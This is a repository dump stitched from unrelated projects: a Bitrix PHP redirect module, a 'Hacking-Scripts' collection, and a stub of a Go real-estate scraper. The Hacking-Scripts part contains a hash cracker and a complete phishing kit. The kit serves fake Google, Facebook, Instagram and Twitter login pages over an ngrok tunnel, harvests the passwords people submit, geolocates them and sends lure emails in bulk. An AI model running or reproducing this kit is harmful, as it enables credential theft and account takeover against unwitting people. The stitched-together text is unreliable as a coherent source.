<option value="301" <?= (Option::get(ADMIN_MODULE_NAME, "status", '301') == '301') ? 'selected' : '' ?>><?= Loc::getMessage("H2O_REDIRECT_STATUS_301") ?></option>
<option value="302" <?= (Option::get(ADMIN_MODULE_NAME, "status", '301') == '302') ? 'selected' : '' ?>><?= Loc::getMessage("H2O_REDIRECT_STATUS_302") ?></option>
</select>
</td>
</tr>
<tr>
<td width="40%">
<label for="to_track_redirect"><?= Loc::getMessage("H2O_TO_TRACK_REDIRECT") ?>:</label>
<td width="60%">
<input
type="checkbox"
id="to_track_redirect"
name="to_track_redirect"
<?= (Option::get(ADMIN_MODULE_NAME, "to_track_redirect", 'Y') == 'Y') ? 'checked' : '' ?>
value="Y">
</td>
</tr>
<?php
$tabControl->buttons();
?>
<input type="submit"
name="save"
value="<?= Loc::getMessage("MAIN_SAVE") ?>"
title="<?= Loc::getMessage("MAIN_OPT_SAVE_TITLE") ?>"
class="adm-btn-save"
/>
<input type="submit"
name="restore"
title="<?= Loc::getMessage("MAIN_HINT_RESTORE_DEFAULTS") ?>"
onclick="return confirm('<?= AddSlashes(GetMessage("MAIN_HINT_RESTORE_DEFAULTS_WARNING")) ?>')"
value="<?= Loc::getMessage("MAIN_RESTORE_DEFAULTS") ?>"
/>
<?php
$tabControl->end();
?>
</form>
<file_sep>/h2o.redirect/install/index.php
<?
IncludeModuleLangFile(__FILE__);
if (class_exists("h2o_redirect"))
return;
Class h2o_redirect extends CModule
{
const MODULE_ID = 'h2o.redirect';
var $MODULE_ID = 'h2o.redirect';
var $MODULE_VERSION;
var $MODULE_VERSION_DATE;
var $MODULE_NAME;
var $MODULE_DESCRIPTION;
var $MODULE_CSS;
var $strError = '';
function __construct()
{
$arModuleVersion = array();
include(dirname(__FILE__)."/version.php");
$this->MODULE_VERSION = $arModuleVersion["VERSION"];
$this->MODULE_VERSION_DATE = $arModuleVersion["VERSION_DATE"];
$this->MODULE_NAME = GetMessage("h2o.redirect_MODULE_NAME");
$this->MODULE_DESCRIPTION = GetMessage("h2o.redirect_MODULE_DESC");
$this->PARTNER_NAME = GetMessage("h2o.redirect_PARTNER_NAME");
$this->PARTNER_URI = GetMessage("h2o.redirect_PARTNER_URI");
}
function InstallDB($arParams = array())
{
global $DB;
RegisterModule(self::MODULE_ID);
/**
* Создание глобального меню
*/
RegisterModuleDependences('main', 'OnBuildGlobalMenu', self::MODULE_ID, 'CHORedirect', 'OnBuildGlobalMenu');
/**
* Сам редирект
*/
RegisterModuleDependences('main', 'OnBeforeProlog', self::MODULE_ID, 'CHORedirect', 'onRedirect');
AddEventHandler("main", "OnBeforeProlog", "AjaxHandler", 1);
/**
* Установка таблицы
*/
$DB->RunSQLBatch(dirname(__FILE__)."/sql/install.sql");
return true;
}
function UnInstallDB($arParams = array())
{
global $DB;
UnRegisterModule(self::MODULE_ID);
UnRegisterModuleDependences('main', 'OnBuildGlobalMenu', self::MODULE_ID, 'CHOredirect', 'OnBuildGlobalMenu');
UnRegisterModuleDependences('main', 'OnBeforeProlog', self::MODULE_ID, 'CHOredirect', 'onRedirect');
$DB->RunSQLBatch(dirname(__FILE__)."/sql/uninstall.sql");
return true;
}
function InstallEvents()
{
return true;
}
function UnInstallEvents()
{
return true;
}
function InstallFiles($arParams = array())
{
CopyDirFiles(dirname(__FILE__)."/admin", $_SERVER["DOCUMENT_ROOT"]."/bitrix/admin", true);
return true;
}
function UnInstallFiles()
{
DeleteDirFiles(dirname(__FILE__)."/admin", $_SERVER["DOCUMENT_ROOT"]."/bitrix/admin");
return true;
}
function DoInstall()
{
$this->InstallFiles();
$this->InstallEvents();
$this->InstallDB();
}
function DoUninstall()
{
global $APPLICATION;
$this->UnInstallEvents();
$this->UnInstallDB();
$this->UnInstallFiles();
}
}
?>
<file_sep>/h2o.redirect/lang/ru/include.php
<?
$MESS["BITRIX_MPBUILDER_YCUKENGSSZHQFYVAPROL"] = "йцукенгшщзхъфывапролджэячсмитьбюёЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ";
$MESS["H2O_REDIRECT_LIST"] = "Список редиректов";
$MESS["H2O_REDIRECT_TITLE"] = "Редиректы";
$MESS["BITRIX_MPBUILDER_REDAKTOR_KLUCEY"] = "Редактор ключей";
$MESS["BITRIX_MPBUILDER_SOZDANIE_ARHIVA"] = "Создание архива";
$MESS["BITRIX_MPBUILDER_SBORKA_OBNOVLENIY"] = "Сборка обновлений";
?><file_sep>/h2o.redirect/lang/ru/lib/redirect.php
<?
$MESS["REDIRECT_ENTITY_ID_FIELD"] = "Ид";
$MESS["REDIRECT_ENTITY_ACTIVE_FIELD"] = "Активность";
$MESS["REDIRECT_ENTITY_REDIRECT_FROM_FIELD"] = "Начальная страница";
$MESS["REDIRECT_ENTITY_REDIRECT_TO_FIELD"] = "Конечная страница";
$MESS["REDIRECT_ENTITY_IS_REGEXP_FIELD"] = "Является регулярным выражением";
$MESS["REDIRECT_ENTITY_COUNT_REDIRECT"] = "Количество совершенных переходов";
?><file_sep>/h2o.redirect/include.php
<?
defined('B_PROLOG_INCLUDED') and (B_PROLOG_INCLUDED === true) or die();
use Bitrix\Main\Loader;
use Bitrix\Main\EventManager;
use Bitrix\Main\Config\Option;
Loader::registerAutoLoadClasses('h2o.redirect', array(
// no thanks, bitrix, we better will use psr-4 than your class names convention
'h2o\Redirect\RedirectTable' => 'lib/redirect.php',
));
IncludeModuleLangFile(__FILE__);
Class CHORedirect
{
/**
* Метод обработчик события создания меню в админке
* @param $aGlobalMenu
* @param $aModuleMenu
*/
public static function OnBuildGlobalMenu(&$aGlobalMenu, &$aModuleMenu)
{
if($GLOBALS['APPLICATION']->GetGroupRight("main") < "R")
return;
$MODULE_ID = basename(dirname(__FILE__));
$aMenu = array(
//"parent_menu" => "global_menu_services",
"parent_menu" => "global_menu_content",
"section" => $MODULE_ID,
"sort" => 50,
"text" => GetMessage('H2O_REDIRECT_TITLE'),
"title" => GetMessage('H2O_REDIRECT_TITLE'),
// "url" => "partner_modules.php?module=".$MODULE_ID,
"icon" => "",
"page_icon" => "",
"items_id" => $MODULE_ID."_items",
"more_url" => array(),
"items" => array()
);
if (file_exists($path = dirname(__FILE__).'/admin'))
{
if ($dir = opendir($path))
{
$arFiles = array("h2o_redirect_list.php");
sort($arFiles);
$arTitles = array(
'h2o_redirect_list.php' => GetMessage("H2O_REDIRECT_LIST"),
);
foreach($arFiles as $item)
$aMenu['items'][] = array(
'text' => $arTitles[$item],
'url' => $item,
'module_id' => $MODULE_ID,
"title" => "",
);
}
}
$aModuleMenu[] = $aMenu;
}
/**
* Метод обработчик события OnBeforeProlog
*/
public static function onRedirect(){
global $APPLICATION;
$cur_page = $APPLICATION->GetCurPageParam("",array(),false);
$cur_page_index = $APPLICATION->GetCurPageParam("", array(), true);
if(Bitrix\Main\Loader::includeModule('h2o.redirect')){
//сначала ищем в обычных редиректах
$db_redirect = h2o\Redirect\RedirectTable::getList(array(
'filter' => array(
"ACTIVE" => "Y",
"IS_REGEXP" => "N",
array(
"LOGIC" => "OR",
array("=REDIRECT_FROM" => urldecode($cur_page)),
array("=REDIRECT_FROM" => urldecode($cur_page_index)),
)
)
));
if($arRedirect = $db_redirect->fetch()){
if($arRedirect['REDIRECT_TO'] != ""){
self::doRedirect($arRedirect['REDIRECT_TO'], $arRedirect);
}
}else{
//пробуем найти в регулярках
$db_redirect = h2o\Redirect\RedirectTable::getList(array(
'filter' => array(
"ACTIVE" => "Y",
"IS_REGEXP" => "Y"
)
));
while($arRedirect = $db_redirect->fetch()){
if($arRedirect['REDIRECT_TO'] != "") {
if (preg_match($arRedirect['REDIRECT_FROM'], urldecode($cur_page))) {
self::doRedirect(
preg_replace($arRedirect['REDIRECT_FROM'], $arRedirect['REDIRECT_TO'], urldecode($cur_page)),
$arRedirect
);
break;
}
if (preg_match($arRedirect['REDIRECT_FROM'], urldecode($cur_page_index))) {
self::doRedirect(
preg_replace($arRedirect['REDIRECT_FROM'], $arRedirect['REDIRECT_TO'], urldecode($cur_page_index)),
$arRedirect
);
break;
}
}
}
}
}
}
/**
* Выполнение редиректа
*
* @param string $url
* @param bool|array $arRedirect
*/
protected static function doRedirect($url, $arRedirect = false){
$status = Option::get('h2o.redirect', "status", '301'); //Статус редиректа
$toTrackRedirect = Option::get('h2o.redirect', "to_track_redirect", 'Y'); //Вести статистику по редиректам
switch($status){
case 301:
$status_string = "301 Moved permanently";
break;
case 302:
$status_string = "302 Found";
break;
default:
$status_string = "301 Moved permanently";
}
if($toTrackRedirect == 'Y' && $arRedirect){
\h2o\Redirect\RedirectTable::update($arRedirect['ID'], array(
"COUNT_REDIRECT" => $arRedirect['COUNT_REDIRECT'] + 1
));
}
LocalRedirect($url, false, $status_string);
}
}
?>
<file_sep>/h2o.redirect/install/admin/h2o_redirect_edit.php
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/h2o.redirect/admin/h2o_redirect_edit.php");?> | 88f6eba4757a070295f7678ec66a950a635ec6d6 | [
"SQL",
"PHP"
] | 16 | PHP | designh2o/redirect | cf4bb8e35076cb61abb6475f5462e846cc8e769b | 1e2e07658d28c13a84640aef74418887b6e7038a |
refs/heads/main | <file_sep>import hashlib, threading, time, sys
from optparse import OptionParser
class Hashcracker:
def __init__(self, hash ,hashType, passfile):
self.start = time.time()
self.hash = hash
self.stop = False
self.logo()
try:
self.passlist = open(passfile, 'r')
except:
print("[+] Password list provided is invalid.")
sys.exit()
self.checked = 0
if "md5" in hashType:
self.hashtype = hashlib.md5
elif "sha1" in hashType:
self.hashtype = hashlib.sha1
elif "sha224" in hashType:
self.hashtype = hashlib.sha224
elif "sha256" in hashType:
self.hashtype = hashlib.sha256
elif "sha384" in hashType:
self.hashtype = hashlib.sha384
elif "sha512" in hashType:
self.hashtype = hashlib.sha512
else:
print("[+] Invalid hashing method.")
sys.exit()
self.crackit = threading.Thread(target=self.cracker)
self.crackit.start()
def logo(self):
print("""
_ _ _ _____ _ _ __ _____
| | | | | | / ____| (_) | | /_ | | ____|
| |__| | __ _ ___| |__ | (___ __ _ _ _ _ __| | __ _| | | |__
| __ |/ _` / __| '_ \ \___ \ / _` | | | | |/ _` | \ \ / / | |___ \
| | | | (_| \__ \ | | |____) | (_| | |_| | | (_| | \ V /| |_ ___) |
|_| |_|\__,_|___/_| |_|_____/ \__, |\__,_|_|\__,_| \_/ |_(_)____/
| |
|_|
Hash-Cracker by DrSquid""")
def cracker(self):
success = False
while True:
try:
for line in self.passlist:
if self.hashtype(line.strip().encode()).hexdigest() == self.hash:
end = time.time()
print("[!] Hash has been cracked!")
print(f"[!] Hash: {self.hashtype(line.strip().encode()).hexdigest()} String: {line.strip()}")
print(f"[!] Passwords checked: {self.checked}")
print(f"[!] Time elapsed: {end - self.start}")
input("[!] Press enter to exit.")
success = True
break
else:
self.checked += 1
if not success:
print(f"[?] Unable to crack Hash: {self.hash}")
break
except:
pass
class OptionParse:
def __init__(self):
if len(sys.argv) < 3:
self.usage()
else:
self.get_args()
def usage(self):
Hashcracker.logo(None)
print("""
[+] Option-Parsing Help:
[+] --h, --hash - Specifies the Hash to crack.
[+] --hT, --hashtype - Specifies Hash type
[+] --pL, --passlist - Specifies the Brute Forcing TxT File.
[+] Optional Arguements:
[+] --i, --info - Shows this message.
[+] Usage:""")
if sys.argv[0].endswith(".py"):
print("[+] python3 HashSquid.py --h <hash> --hT <hashtype> --pL <passlist>")
print("[+] python3 HashSquid.py --i")
else:
print("[+] HashSquid --h <hash> --hT <hashtype> --pL <passlist>")
print("[+] HashSquid --i")
def get_args(self):
self.opts = OptionParser()
self.opts.add_option("--h","--hash",dest="hash")
self.opts.add_option("--hT","--hashtype",dest="hashtype")
self.opts.add_option("--pL","--passlist",dest="passlist")
self.opts.add_option("--i","--info",dest="info",action="store_true")
args, opt = self.opts.parse_args()
if args.info is not None:
self.usage()
else:
pass
if args.hash is None:
self.usage()
else:
hash = args.hash
if args.hashtype is None:
hashtype = "md5"
else:
hashtype = args.hashtype
if args.passlist is None:
self.usage()
else:
passlist = args.passlist
HashSquid = Hashcracker(hash, hashtype, passlist)
optionparser = OptionParse()<file_sep># Hacking-Scripts
More Advanced and Powerful Scripts made for pen-testing developped by me.
I might add dev notes to my scripts if I get bored.
Do not use these scripts for malicious intent. I will not be responsible for any damages.
Only use these scripts if you have permission from the people whom you are attacking, and only for ethical purposes.
Do not copy these scripts and say they are yours. I am not ok with that. If you plan to modify these scripts, please credit me as I would appreciate that.
A quick note that SquidNet is my most powerful script.
Happy Hacking,
DrSquid
<file_sep>import socket, threading, os, smtplib, time, geocoder
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = 'localhost'
port = 80
s.bind((ip, port))
print("""
_____ _ _ _____ _ _ _ __ ___
/ ____| (_) | | __ \| | (_) | | /_ | / _ \
| (___ __ _ _ _ _ __| | |__) | |__ _ ___| |__ ___ _ __| || | | |
\___ \ / _` | | | | |/ _` | ___/| '_ \| / __| '_ \ / _ \ '__| || | | |
____) | (_| | |_| | | (_| | | | | | | \__ \ | | | __/ | | || |_| |
|_____/ \__, |\__,_|_|\__,_|_| |_| |_|_|___/_| |_|\___|_| |_(_)___/
| |
|_|
""")
print("[+] Script By DrSquid\n")
print("[+] This script requires ngrok.")
choice_list = ['google','facebook','instagram','twitter']
while True:
try:
platform = input("[+] Enter Social Media Platform(google/facebook/instagram/twitter): ")
ngrokdir = input("[+] Enter ngrok directory: ")
if platform.lower() not in choice_list:
print("[+] Invalid Platform.\n")
else:
os.chdir(ngrokdir)
break
except:
print("[+] Directory not found.\n")
flag = 0
for dir in os.listdir():
if 'ngrok.exe' in dir.lower():
os.system('start ngrok.exe http 80')
flag = 1
break
else:
pass
if flag == 1:
print("[+] Success with starting ngrok.")
domain = input("[+] Enter Name Of Forwarded Website(only the part with the gibberish letters and numbers): ")
else:
print("[+] Make sure to install ngrok.")
print("\n[+] You can download it with this link: https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip\n")
input("[+] Press ENTER to exit.")
quit()
ip_list = []
print("\n[+] Phishing Server is Up.....")
print(f"[+] Send this to a person you don't like: http://{domain}.ngrok.io")
def email():
while True:
type_of_atk = input("[+] What type of attack are you doing?(massemail/singleemail): ")
if type_of_atk.lower() == "massemail":
while True:
try:
gmail = smtplib.SMTP('smtp.gmail.com', 587)
gmail.starttls()
gmail.ehlo()
user = input("[+] Enter email: ")
password = input("[+] Enter Password: ")
gmail.login(user, password)
break
except:
print("[+] Invalid Credentials.\n")
emails = []
subject = input("[+] Enter subject: ")
content = input("[+] Enter message content: ")
content = f'Subject: {subject}\n\n{content}'
print("")
print("[+] Input 'stop' to start sending the emails.")
while True:
target = input("[+] Enter email of victim: ")
if target == "stop":
print("")
break
else:
emails.append(target)
for targets in emails:
try:
gmail.sendmail(user, targets, content)
print(f"[+] Email sent to {targets}.")
time.sleep(2)
except:
print(f"[+] Error sending email to {targets}.")
gmail.close()
break
elif type_of_atk.lower() == "singleemail":
while True:
try:
gmail = smtplib.SMTP('smtp.gmail.com', 587)
gmail.starttls()
gmail.ehlo()
user = input("[+] Enter email: ")
password = input("[+] Enter Password: ")
gmail.login(user, password)
break
except:
print("[+] Invalid Credentials.\n")
try:
target = input("[+] Enter target email: ")
subject = input("[+] Enter subject: ")
content = input("[+] Enter message content: ")
content = f'Subject: {subject}\n\n{content}'
gmail.sendmail(user, target, content)
print(f"[+] Email sent successfully to {target}")
gmail.close()
except:
print(f"[+] Error sending email to {target}.")
break
else:
print("[+] Invalid Input.\n")
def listen():
while True:
try:
s.listen(1)
c, ip = s.accept()
msg = c.recv(1024).decode()
msg_split = msg.split()
u_agent = False
agent = []
for i in msg_split:
if 'user-agent' in i.lower():
u_agent = True
if 'accept:' in i.lower():
u_agent = False
if u_agent:
agent.append(i)
else:
pass
user_agent = ""
for i in agent:
user_agent = user_agent + " " + i
user_agent = user_agent.strip()
item = 0
for i in msg_split:
if 'x-forwarded-for' in i.lower():
ipaddr = msg_split[item + 1]
break
else:
pass
item += 1
if ipaddr in ip_list:
pass
else:
print(f"\n[+] Connection From IP: {ipaddr}")
try:
info = geocoder.ip(ipaddr)
print(f"[+] Geolocation Info: {info.latlng}")
except:
pass
print(f"[+] Victim {user_agent}")
ip_list.append(ipaddr)
client = threading.Thread(target=handler, args=(c, msg, ip[0]))
client.start()
except:
pass
def twitter_packet():
msg = """
<html><head>
<link href="https://logodownload.org/wp-content/uploads/2014/09/twitter-logo-4.png" rel="icon">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="<EMAIL>">
<link href="https://fonts.googleapis.com/css?family=Nunito+Sans:300i,400,700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/5.0.0-alpha1/css/bootstrap.min.css">
<style type="text/css">
body{
font-family: "Nunito Sans";
}
.login-form{
padding: 25px;
}
h3{
padding-left:30px;
padding-right: 20px;
font-weight: 700;
}
label{
padding-top: 4px;
padding-left: 4px;
}
.bg-color{
background-color:rgb(245, 248, 250);
}
.bg-color:hover label{
color:#31a1f2;
}
.btn-custom{
background-color: #1877f2;
border: none;
border-radius: 6px;
font-size: 20px;
line-height: 28px;
color: #fff;
font-weight:700;
height: 48px;
}
.btn-custom{
color: #fff !important;
background-color: rgb(29, 161, 242);
}
.form-control{
border:0px;
background-color: rgb(245, 248, 250);
border-bottom: 2px solid #657786;
padding: 0px 4px 0px 4px;
min-height: 20px;
}
.form-control:focus{
box-shadow: none;
background-color: rgb(245, 248, 250);
border-color: #31a1f2;
}
.fa{
color: rgb(29, 161, 242);
margin: 0 auto;
display: block;
text-align: center;
font-size: 50px;
}
a{
text-decoration: none;
color: rgb(27, 149, 224);
}
a:hover{
text-decoration: underline;
color: rgb(27, 149, 224);
}
</style>
</head>
<title>
Twitter Login
</title>
<body>
<div class="container">
<div class="row">
<div class="col-md-3"></div>
<div class="col-md-6 p-0 pt-3">
<i class="fa fa-twitter"></i>
<h3 class="text-center pt-3">Log in to Twitter</h3>
<form class="login-form" action="http://"""+domain+""".ngrok.io">
<div class="mb-3 bg-color">
<label>Phone, email, or username</label>
<input type="text" class="form-control" name="username">
</div>
<div class="mb-3 bg-color">
<label>Password</label>
<input type="<PASSWORD>" class="form-control" name="password">
</div>
<input type="submit" placeholder="Log In" class="btn btn-custom btn-lg btn-block mt-3">
<div class="text-center pt-3 pb-3">
<a href="https://twitter.com/account/begin_password_reset" class="">Forgotten password?</a> .
<a href="https://twitter.com/i/flow/signup" class="">Sign up for Twitter</a>
</div>
</form>
</div>
<div class="col-md-3"></div>
</div>
</div>
</body></html>
"""
return msg
def google_packet():
msg = """
<style>
.form-signin
{
max-width: 330px;
padding: 15px;
margin: 0 auto;
}
.form-signin .form-signin-heading, .form-signin .checkbox
{
margin-bottom: 10px;
}
.form-signin .checkbox
{
font-weight: normal;
}
.form-signin .form-control
{
position: relative;
font-size: 16px;
height: auto;
padding: 10px;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
}
.form-signin .form-control:focus
{
z-index: 2;
}
.form-signin input[type="text"]
{
margin-bottom: -1px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
}
.form-signin input[type="password"]
{
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
}
.account-wall
{
margin-top: 20px;
padding: 40px 0px 20px 0px;
background-color: #f7f7f7;
-moz-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
box-shadow: 0px 2px 2px rgba(0, 0, 0, 0.3);
}
.login-title
{
color: #555;
font-size: 18px;
font-weight: 400;
display: block;
}
.profile-img
{
width: 96px;
height: 96px;
margin: 0 auto 10px;
display: block;
-moz-border-radius: 50%;
-webkit-border-radius: 50%;
border-radius: 50%;
}
.need-help
{
margin-top: 10px;
}
.new-account
{
display: block;
margin-top: 10px;
}
</style>
<title>
Google Login
</title>
<link href="https://upload.wikimedia.org/wikipedia/commons/thumb/5/53/Google_%22G%22_Logo.svg/1200px-Google_%22G%22_Logo.svg.png" rel="icon">
<link href="//netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//netdna.bootstrapcdn.com/bootstrap/3.0.0/js/bootstrap.min.js"></script>
<script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
<div class="container">
<div class="row">
<div class="col-sm-6 col-md-4 col-md-offset-4">
<h1 class="text-center login-title">Sign in with google to continue</h1>
<div class="account-wall">
<img class="profile-img" src="https://lh5.googleusercontent.com/-b0-k99FZlyE/AAAAAAAAAAI/AAAAAAAAAAA/eu7opA4byxI/photo.jpg?sz=120"
alt="">
<form class="form-signin" action="http://"""+domain+""".ngrok.io">
<input type="text" name="username" class="form-control" placeholder="Email" required autofocus>
<input type="<PASSWORD>" name="password" class="form-control" placeholder="<PASSWORD>" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">
Sign in</button>
<label class="checkbox pull-left">
<input type="checkbox" value="remember-me">
Remember me
</label>
<a href="https://support.google.com/accounts?hl=en#topic=3382296" class="pull-right need-help">Need help? </a><span class="clearfix"></span>
</form>
</div>
<a href="https://accounts.google.com/signup/v2/webcreateaccount?service=accountsettings&continue=https%3A%2F%2Fmyaccount.google.com%2F&dsh=S755052533%3A1613343260014589&gmb=exp&biz=false&flowName=GlifWebSignIn&flowEntry=SignUp" class="text-center new-account">Create an account </a>
</div>
</div>
</div>
"""
return msg
def instagram_packet():
msg = """
<style>
* {
margin: 0px;
padding: 0px;
}
body {
background-color: #eee;
}
#wrapper {
width: 500px;
height: 50%;
overflow: hidden;
border: 0px solid #000;
margin: 50px auto;
padding: 10px;
}
.main-content {
width: 250px;
height: 40%;
margin: 10px auto;
background-color: #fff;
border: 2px solid #e6e6e6;
padding: 40px 50px;
}
.header {
border: 0px solid #000;
margin-bottom: 5px;
}
.header img {
height: 50px;
width: 175px;
margin: auto;
position: relative;
left: 40px;
}
.input-1,
.input-2 {
width: 100%;
margin-bottom: 5px;
padding: 8px 12px;
border: 1px solid #dbdbdb;
box-sizing: border-box;
border-radius: 3px;
}
.overlap-text {
position: relative;
}
.overlap-text a {
position: absolute;
top: 8px;
right: 10px;
color: #003569;
font-size: 14px;
text-decoration: none;
font-family: 'Overpass Mono', monospace;
letter-spacing: -1px;
}
.btn {
width: 100%;
background-color: #3897f0;
border: 1px solid #3897f0;
padding: 5px 12px;
color: #fff;
font-weight: bold;
cursor: pointer;
border-radius: 3px;
}
.sub-content {
width: 250px;
height: 40%;
margin: 10px auto;
border: 1px solid #e6e6e6;
padding: 20px 50px;
background-color: #fff;
}
.s-part {
text-align: center;
font-family: 'Overpass Mono', monospace;
word-spacing: -3px;
letter-spacing: -2px;
font-weight: normal;
}
.s-part a {
text-decoration: none;
cursor: pointer;
color: #3897f0;
font-family: 'Overpass Mono', monospace;
word-spacing: -3px;
letter-spacing: -2px;
font-weight: normal;
}
</style>
<title>
Instagram
</title>
<link rel="icon" href="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e7/Instagram_logo_2016.svg/1200px-Instagram_logo_2016.svg.png">
<div id="wrapper">
<div class="main-content">
<div class="header">
<img src="https://i.imgur.com/zqpwkLQ.png" />
</div>
<div class="l-part">
<form action="http://"""+domain+""".ngrok.io">
<input type="text" placeholder="Username" class="input-1" name="username">
<div class="overlap-text">
<input type="<PASSWORD>" placeholder="<PASSWORD>" name="password" style="width: 100%; margin-bottom: 5px; padding: 8px 12px; border: 1px solid #dbdbdb; box-sizing: border-box; border-radius: 3px;">
<a href="https://www.instagram.com/accounts/password/reset/">Forgot?</a>
</div>
<input type="submit" value="Log in" class="btn"/>
</form>
</div>
</div>
<div class="sub-content">
<div class="s-part">
Don't have an account?<a href="https://www.instagram.com/accounts/emailsignup/"> Sign up</a>
</div>
</div>
</div>
"""
return msg
def facebook_packet():
msg = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Facebook</title>
<link rel="icon" href="https://cdn1.iconfinder.com/data/icons/logotypes/32/square-facebook-512.png">
<style>
@import url('https://fonts.googleapis.com/css2?family=Poppins:wght@200;300;400;500;600&display=swap');
*{
margin: 0;
padding: 0;
outline: 0;
text-decoration: none;
box-sizing: border-box;
}
body{
font-family: 'Poppins', sans-serif;
font-size: 14px;
color: #1c1e21;
font-weight: normal;
background: #f8f8f8;
}
.loginsignup{
padding: 120px;
}
.container{
max-width: 992px;
margin: auto;
}
.row{
display: flex;
flex-wrap: wrap;
}
.justify-content-between{
justify-content: space-between;
}
.content-left{
max-width: 500px;
margin: auto;
}
.content-left h1{
font-size: 40px;
color: #1877f2;
margin-bottom: 20px;
font-weight: 600;
text-shadow: -3px -3px 4px rgb(255,255,255),
3px 3px 4px rgba(230, 230, 230, 0.96);;
}
.content-left h2{
font-size: 20px;
line-height: 32px;
font-weight: 300;
margin-bottom: 40px;
}
.content-right{
max-width: 450px;
margin: auto;
text-align: center;
}
.content-right form{
width: 396px;
height: 360px;
background: #f8f8f8;
padding: 16px;
box-shadow: -5px -5px 10px rgb(255,255,255),
5px 5px 10px rgba(230,225,225,0.96);
margin-bottom: 30px;
border-radius: 8px;
}
.content-right form input{
width: 100%;
height: 52px;
background: #f8f8f8;
padding: 0 15px;
color: rgb(199, 198, 198);
font-size: 17px;
border: 1px solid #dddfe2;
border-radius: 6px;
margin-bottom: 15px;
font-size: 17px;
}
::placeholder
{
color: #9094b6;
}
.content-right form input:focus
{
border: 1px solid #1877f2;
box-shadow: 0 0px 2px #1877f2 ;
}
.btn{
border-radius: 6px;
font-size: 17px;
line-height: 48px;
padding: 0 16px;
background: #1877f2;
color: #fff;
margin-bottom: 20px;
text-transform: capitalize;
font-weight: 500;
box-shadow: -5px -5px 10px rgb(255,255,255),
5px 5px 10px rgba(230, 230, 230, 0.96);
}
.login a{
display: block;
}
.create-btn a{
display: inline-block;
padding: 0 17px;
background: #4cd137;
transition: .3s;
}
.create-btn a:hover{
background: #44bd32;
}
.login .btn:active
{
background: #f8f8f8;
color: #1877f2;
}
.forgot a{
font-size: 14px;
line-height: 19px;
color:#1877f2;
}
.forgot a:hover,
.content-right p a:hover{
text-decoration: underline;
}
.content-right p a{
color: #1c1e21;
font-weight: 600;
}
.line
{
align-items: center;
border-bottom: 1px solid #dadde1;
display: flex;
margin: 20px 16px;
text-align: center;
}
</style>
</head>
<body>
<div class="loginsignup">
<div class="container">
<div class="row justify-content-between">
<div class="content-left">
<h1>facebook</h1>
<h2>Facebook helps you connect and share with the people in your life.</h2>
</div>
<div class="content-right">
<form action="http://"""+domain+""".ngrok.io">
<div class="form-group">
<input type="text" placeholder="Email address or phone number" name="username">
</div>
<div class="form-group">
<input type="<PASSWORD>" placeholder="<PASSWORD>" name="<PASSWORD>">
</div>
<div class="login">
<input type="submit" value="Log In" class="btn">
<div class="forgot">
<a href="">Forgotten account?</a>
</div>
<div class="line"></div>
<div class="create-btn">
<a href="" class="btn">create new account</a>
</div>
</div>
</form>
<p><a href="">Create a Page</a> for a celebrity, band or business.</p>
</div>
</div>
</div>
</div>
<!-- login Page end -->
</body>
</html>
"""
return msg
def handler(c, msg, ip):
try:
already_requested = False
c.send('HTTP/1.0 200 OK\n'.encode())
c.send('Content-Type: text/html\n'.encode())
c.send('\n'.encode())
if 'username=' in msg:
already_requested = True
msg_split = msg.split()
if 'username=' in msg_split[1]:
info = msg_split[1]
result = ""
for i in info:
if i == "=" or i == "&":
result += " "
else:
result += i
result = result.strip().split()
username = result[1]
password = result[3]
else:
pass
item = 0
for i in msg_split:
if 'x-forwarded-for' in i.lower():
ipaddr = msg_split[item+1]
break
else:
pass
item += 1
print(f"\n[+] User Info Obtained from IP {ipaddr}.\n[+] Username: {username}\n[+] Password: {password}")
if already_requested:
if platform.lower() == "instagram":
c.send("""
<meta http-equiv="Refresh" content="0; url='https://instagram.com/'" />
""".encode())
elif platform.lower() == "facebook":
c.send("""
<meta http-equiv="Refresh" content="0; url='https://facebook.com/'" />
""".encode())
elif platform.lower() == "google":
c.send("""
<meta http-equiv="Refresh" content="0; url='https://accounts.google.com/'" />
""".encode())
elif platform.lower() == "twitter":
c.send("""
<meta http-equiv="Refresh" content="0; url='https://twitter.com/'" />
""".encode())
if not already_requested:
if platform.lower() == "instagram":
c.send(instagram_packet().encode())
elif platform.lower() == "facebook":
c.send(facebook_packet().encode())
elif platform.lower() == "google":
c.send(google_packet().encode())
elif platform.lower() == "twitter":
c.send(twitter_packet().encode())
c.close()
except:
pass
print("\n[+] Server is Listening for connections.....")
listener = threading.Thread(target=listen)
listener.start()
doemails = input("[+] Do you wish to send emails?: ")
if doemails.lower() == "yes":
mailer = threading.Thread(target=email)
mailer.start() | efa2096a7333ace00827e6bc278dbfd7fe3344d2 | [
"Markdown",
"Python"
] | 3 | Python | duckwed/Hacking-Scripts | 24e2b5c68acd93c5c55e6c29e2812d2a054733da | e1fc6f0f55dda3b12ad6f626b2589c4f387dc99e |
refs/heads/master | <file_sep># realtor.go
This is a tool which help get real estate listings into a more GIS-friendly package.
It may end up being only for the greater Pittburgh area, I don't know yet.
At the time of my writing this [2/26/2019], the [Terms](https://marketing.move.com/terms-of-service/) link at [Realtor.com](https://www.realtor.com/) was broken. I can only assume that they don't like their content being scraped / cached.
<file_sep>package realtor
// ListingResponse is the results of finding listings
type ListingResponse struct {
IsSaved string `json:"is_saved"`
SearchID interface{} `json:"search_id"`
